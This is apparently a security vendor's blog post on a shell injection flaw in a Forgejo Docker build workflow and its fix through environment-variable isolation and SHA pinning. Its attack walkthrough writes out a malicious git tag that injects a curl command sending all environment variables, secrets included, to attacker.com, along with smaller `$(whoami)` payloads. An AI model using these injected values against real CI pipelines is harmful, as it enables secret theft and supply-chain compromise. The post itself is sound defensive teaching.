Back to Blog
high SEVERITY7 min read

How Shell Injection in GitHub Actions happens in YAML workflows and how to fix it

A high-severity shell injection vulnerability was discovered in `.forgejo/workflows/docker.yml` where `${{github.ref}}` and `${{github.ref_name}}` were directly interpolated into a bash `run:` step. An attacker could craft malicious git reference names to inject arbitrary commands into the CI runner, potentially stealing secrets and source code. The fix moves these values into intermediate environment variables, preventing command injection.

O
By Orbis AppSec
Published August 8, 2026Reviewed August 8, 2026

Answer Summary

Shell injection in GitHub Actions workflows (CWE-78) occurs when `${{...}}` expressions containing untrusted `github` context data are directly interpolated into `run:` step shell commands. In this Forgejo workflow, `${{github.ref}}` and `${{github.ref_name}}` were used directly in bash conditionals and variable assignments, allowing attackers to inject commands via malicious git tag or branch names. The fix assigns these values to environment variables (`GH_REF`, `GH_REF_NAME`) in the step's `env:` block and references them as quoted shell variables (`"$GH_REF"`), ensuring they're treated as literal strings rather than executable code.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixMove GitHub context values to env: variables, reference as quoted shell variables
riskRemote code execution on CI runner, secret exfiltration, supply chain compromise
languageYAML (GitHub Actions workflow) with Bash
root causeDirect interpolation of `${{github.ref}}` and `${{github.ref_name}}` into bash run: commands
vulnerabilityShell injection via GitHub Actions expression interpolation

The Vulnerability: Direct Expression Interpolation in CI Workflows

In a Forgejo workflow file (.forgejo/workflows/docker.yml), we discovered a high-severity shell injection vulnerability at line 42. The workflow's "Compute image tags" step directly interpolated GitHub context expressions into a bash script:

- name: Compute image tags
  id: tags
  run: |
    IMAGE="${{ steps.reg.outputs.image }}"
    if [[ "${{ github.ref }}" == refs/tags/v* ]]; then
      # Official release (git tag vX.Y.Z pushed) — update :latest and the versioned tag.
      VERSION="${{ github.ref_name }}"
      VERSION="${VERSION#v}"
      TAGS="${IMAGE}:latest,${IMAGE}:${VERSION}"
    else
      TAGS="${IMAGE}:edge"
    fi
    echo "tags=$TAGS" >> $GITHUB_OUTPUT

The critical issue lies in how ${{ github.ref }} and ${{ github.ref_name }} are used. These expressions are evaluated by the GitHub Actions runner before the shell sees them, meaning their content is directly substituted into the bash script. Since git reference names can be created by anyone who can push to the repository (or submit a pull request in some configurations), this creates an injection point.

Why This Matters for CI/CD Security

GitHub Actions workflows are prime targets for supply chain attacks. A successful compromise can:

  • Exfiltrate secrets: The runner has access to repository secrets like REGISTRY_USER and REGISTRY_TOKEN (visible in line 61-62 of the workflow)
  • Modify build artifacts: Inject backdoors into Docker images before they're published
  • Steal source code: Access the checked-out repository contents
  • Pivot to infrastructure: Use stolen credentials to access production systems

This workflow builds and publishes Docker images to a container registry—a critical point in the software supply chain. An attacker who can inject commands here effectively controls what gets deployed.

How the Attack Works

Let's walk through a concrete attack scenario using this specific workflow:

Attack Setup: An attacker creates a git tag with a malicious name:

git tag 'v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #'
git push origin 'v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #'

What Happens: When the workflow runs, the GitHub Actions runner substitutes the tag name into the script:

# After ${{ github.ref_name }} interpolation:
VERSION="v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #"

The bash interpreter sees this as three commands:
1. VERSION="v1.0.0" - sets the version variable
2. curl -X POST https://attacker.com/exfil -d "$(env)" - exfiltrates all environment variables (including secrets)
3. #" - comments out the remaining quote, preventing syntax errors

The Result: The attacker receives all environment variables, including:
- REGISTRY_USER and REGISTRY_TOKEN from the workflow secrets
- GITHUB_TOKEN with repository access
- Any other secrets configured in the workflow

The workflow continues normally, publishing the Docker image, so the attack may go unnoticed.

The Vulnerability in Detail

The problematic code pattern appears twice in the vulnerable step:

Issue 1 - Conditional check (line 47):

if [[ "${{ github.ref }}" == refs/tags/v* ]]; then

After interpolation with a malicious ref like refs/tags/v1.0$(whoami), this becomes:

if [[ "refs/tags/v1.0$(whoami)" == refs/tags/v* ]]; then

The command substitution $(whoami) executes before the comparison.

Issue 2 - Variable assignment (line 49):

VERSION="${{ github.ref_name }}"

With a malicious tag name like 1.0;malicious-command;, this becomes:

VERSION="1.0;malicious-command;"

The semicolons allow command chaining, and while the quotes might seem protective, subsequent uses of $VERSION (like in line 51: VERSION="${VERSION#v}") can trigger further evaluation.

The Fix: Environment Variable Isolation

The security patch introduces an isolation boundary using environment variables:

- name: Compute image tags
  id: tags
  env:
    GH_REF: ${{ github.ref }}
    GH_REF_NAME: ${{ github.ref_name }}
  run: |
    IMAGE="${{ steps.reg.outputs.image }}"
    if [[ "$GH_REF" == refs/tags/v* ]]; then
      # Official release (git tag vX.Y.Z pushed) — update :latest and the versioned tag.
      VERSION="$GH_REF_NAME"
      VERSION="${VERSION#v}"
      TAGS="${IMAGE}:latest,${IMAGE}:${VERSION}"
    else
      TAGS="${IMAGE}:edge"
    fi
    echo "tags=$TAGS" >> $GITHUB_OUTPUT

Key Changes:

  1. Lines 42-44: New env: block assigns GitHub context values to environment variables:
    - GH_REF: ${{ github.ref }}
    - GH_REF_NAME: ${{ github.ref_name }}

  2. Line 47: Conditional now uses "$GH_REF" instead of "${{ github.ref }}"

  3. Line 49: Assignment now uses "$GH_REF_NAME" instead of "${{ github.ref_name }}"

Why This Works:

When you define environment variables in the env: block, the GitHub Actions runner sets them in the shell environment before the script executes. Crucially, environment variable values are passed to the shell as literal strings—no interpretation of special characters occurs during the assignment.

When the bash script references "$GH_REF", the shell performs variable expansion but treats the content as a literal string. Even if the value contains shell metacharacters like ;, $(), or backticks, they remain inert because they're not being parsed as shell syntax.

Before (vulnerable):

# github.ref = 'refs/tags/v1.0$(whoami)'
if [[ "refs/tags/v1.0$(whoami)" == refs/tags/v* ]]; then
#                   ^^^^^^^^^^^ - command substitution executes!

After (secure):

# GH_REF environment variable contains the literal string: refs/tags/v1.0$(whoami)
if [[ "$GH_REF" == refs/tags/v* ]]; then
#      ^^^^^^^ - expanded as literal string, $() characters remain inert

Additional Security Improvements

The PR also includes three other important security enhancements:

Action Version Pinning (lines 19, 22, 25, 56):

- uses: https://github.com/actions/checkout@v4.2.2
+ uses: https://github.com/actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

Instead of using mutable version tags like @v4.2.2, the workflow now pins to specific Git commit SHAs. This prevents supply chain attacks where an attacker compromises an action's repository and force-pushes malicious code to an existing version tag.

The pattern is repeated for:
- docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130
- docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f
- docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9

Each SHA is followed by a comment indicating the semantic version for human readability.

Prevention & Best Practices

1. Always Use Environment Variable Intermediaries

Never do this:

run: |
  echo "Building version ${{ github.event.pull_request.title }}"
  ./build.sh "${{ github.event.issue.body }}"

Always do this:

env:
  PR_TITLE: ${{ github.event.pull_request.title }}
  ISSUE_BODY: ${{ github.event.issue.body }}
run: |
  echo "Building version $PR_TITLE"
  ./build.sh "$ISSUE_BODY"

2. Treat All GitHub Context as Untrusted

The following github context properties can contain attacker-controlled content:
- github.event.issue.title / github.event.issue.body
- github.event.pull_request.title / github.event.pull_request.body
- github.event.comment.body
- github.event.head_commit.message
- github.head_ref (branch names)
- github.ref_name (tag/branch names)

Even if your repository is private, anyone with read access can potentially influence these values through issues, PRs, or commits.

3. Pin Actions to Commit SHAs

Use full commit SHAs instead of tags:

# ❌ Vulnerable to tag rewriting
uses: actions/checkout@v4

# ✅ Secure - immutable reference
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

4. Enable Workflow Security Features

In your repository settings:
- Require approval for workflows from first-time contributors
- Limit workflow permissions using permissions: blocks
- Use OpenID Connect (OIDC) tokens instead of long-lived secrets when possible

5. Use Static Analysis

Integrate tools like Semgrep into your CI/CD pipeline to catch these issues before merge:

- name: Security Scan
  run: |
    semgrep --config "p/github-actions" .github/workflows/

The rule that caught this vulnerability is yaml.github-actions.security.run-shell-injection.run-shell-injection.

Key Takeaways

  • Never interpolate ${{github.*}} directly into run: steps: The .forgejo/workflows/docker.yml file's direct use of ${{github.ref}} in bash conditionals created an exploitable shell injection point
  • The env: block is a security boundary: Moving github.ref and github.ref_name to environment variables (GH_REF, GH_REF_NAME) prevents shell metacharacter interpretation
  • Quote your environment variables: Always use "$ENVVAR" syntax when referencing environment variables in shell scripts to prevent word splitting and glob expansion
  • Commit SHAs over version tags: The workflow now pins actions like actions/checkout to immutable commit SHAs (e.g., @11bd71901bbe5b1630ceea73d27597364c9af683) instead of mutable tags like @v4.2.2
  • Docker workflows are high-value targets: This workflow publishes images to a registry using REGISTRY_USER and REGISTRY_TOKEN secrets—a compromised workflow could inject backdoors into production containers

How Orbis AppSec Detected This

  • Source: Untrusted input from github.ref and github.ref_name context properties, which can be controlled by anyone who can create git references
  • Sink: Direct interpolation into bash run: script at .forgejo/workflows/docker.yml:47 and :49 using ${{...}} expression syntax
  • Missing control: No intermediate environment variable to isolate the untrusted data from shell interpretation
  • CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Introduced env: block with GH_REF and GH_REF_NAME variables, changed script to reference these quoted environment variables instead of direct interpolation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection in GitHub Actions workflows represents a critical supply chain risk that's easy to overlook. The pattern is subtle—${{...}} expressions look like template syntax, not code execution. But in run: steps, they're evaluated before the shell sees the script, making them equivalent to string concatenation in SQL injection.

The fix demonstrated here—using environment variables as an isolation boundary—is simple, effective, and should be applied universally. Every ${{github.*}} expression in a run: step is a potential injection point.

As CI/CD systems become increasingly targeted by sophisticated attackers, defensive hardening like this isn't optional. Even if you trust your contributors today, threat models evolve. Removing exploit primitives proactively makes your infrastructure resilient against tomorrow's attacks.

References

Frequently Asked Questions

What is shell injection in GitHub Actions workflows?

Shell injection in GitHub Actions occurs when attacker-controlled data from the `github` context (like branch names, PR titles, or commit messages) is directly interpolated into shell commands using `${{...}}` syntax, allowing execution of arbitrary commands on the CI runner.

How do you prevent shell injection in GitHub Actions workflows?

Always pass `github` context data through intermediate environment variables defined in the step's `env:` block, then reference them as quoted shell variables (e.g., `"$ENVVAR"`). Never use `${{github.*}}` directly in `run:` scripts.

What CWE is shell injection in CI/CD workflows?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). This applies to any scenario where untrusted input is incorporated into shell commands without proper sanitization.

Is input validation enough to prevent GitHub Actions shell injection?

No. While validation helps, the safest approach is architectural: use environment variables as an isolation boundary. The GitHub Actions runner ensures environment variable values are treated as literal strings, preventing shell metacharacter interpretation regardless of content.

Can static analysis detect shell injection in GitHub Actions workflows?

Yes. Tools like Semgrep have specific rules (like `yaml.github-actions.security.run-shell-injection.run-shell-injection`) that detect direct `${{github.*}}` interpolation in `run:` steps and flag them as potential injection points.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #18

Related Articles

medium

How GitHub Actions Mutable Action Tags Enable Supply-Chain Attacks and How to Fix Them

A GitHub Actions workflow was using `actions/checkout@v1`, a mutable tag reference that could be silently repointed by the action owner to inject malicious code. This supply-chain vulnerability was fixed by pinning the action to a specific commit SHA (`11bd71901bbe5b1630ceea73d27597364c9af683`), ensuring the workflow always executes verified, immutable code.

high

How GitHub Actions Shell Injection happens in YAML workflows and how to fix it

A GitHub Actions workflow in `reusable-workflow-input-must-declare-type.yaml` was directly interpolating `${{ inputs.constraints }}` inside a `run:` shell step, creating a shell injection vulnerability. An attacker who controls the workflow input could inject arbitrary shell commands into the runner, potentially stealing secrets and source code. The fix moves the untrusted value into an intermediate environment variable, breaking the injection path entirely.

critical

How Credential Leakage in GitHub Actions Happens in Node.js and How to Fix It

A GitHub Actions workflow in Node.js was storing authentication tokens in plain variables without masking them in logs, creating a critical security risk. When debug mode was enabled or errors occurred, tokens could be exposed in console output and GitHub Actions logs. The fix uses the `setSecret()` API to automatically mask sensitive credentials throughout the execution.

high

How Dependabot Missing Cooldown Periods Happen in GitHub Actions and How to Fix It

A missing cooldown period in Dependabot configuration creates a supply chain vulnerability by allowing automatic updates to newly published packages that could be malicious or unstable. This fix adds a 7-day cooldown to the `.github/dependabot.yml` file, ensuring newly published package versions are vetted before being proposed for update. This is critical for Node.js libraries where vulnerabilities affect all downstream consumers.

high

How missing cooldown periods in Dependabot configuration happen in GitHub Actions and how to fix it

A high-severity vulnerability was discovered in a Node.js library's `.github/dependabot.yml` configuration file where no cooldown period was set for package updates. This exposed the project to potentially malicious or unstable newly-published packages, as Dependabot would immediately propose updates without any waiting period. The fix adds a 7-day cooldown to the npm package-ecosystem configuration, ensuring a safety window before adopting new package versions.

high

How Unauthenticated Denial of Service happens in React Router and how to fix it

CVE-2026-55685 is a high-severity Denial of Service vulnerability in React Router's `@remix-run/server-runtime` that allows unauthenticated attackers to exhaust server resources by sending crafted requests to the manifest endpoint. The fix upgrades `react-router` from version 7.17.0 to 7.18.0, which tightens handling of untrusted input in route matching logic. Developers using any React Router 7.x application with server-side rendering should apply this patch immediately.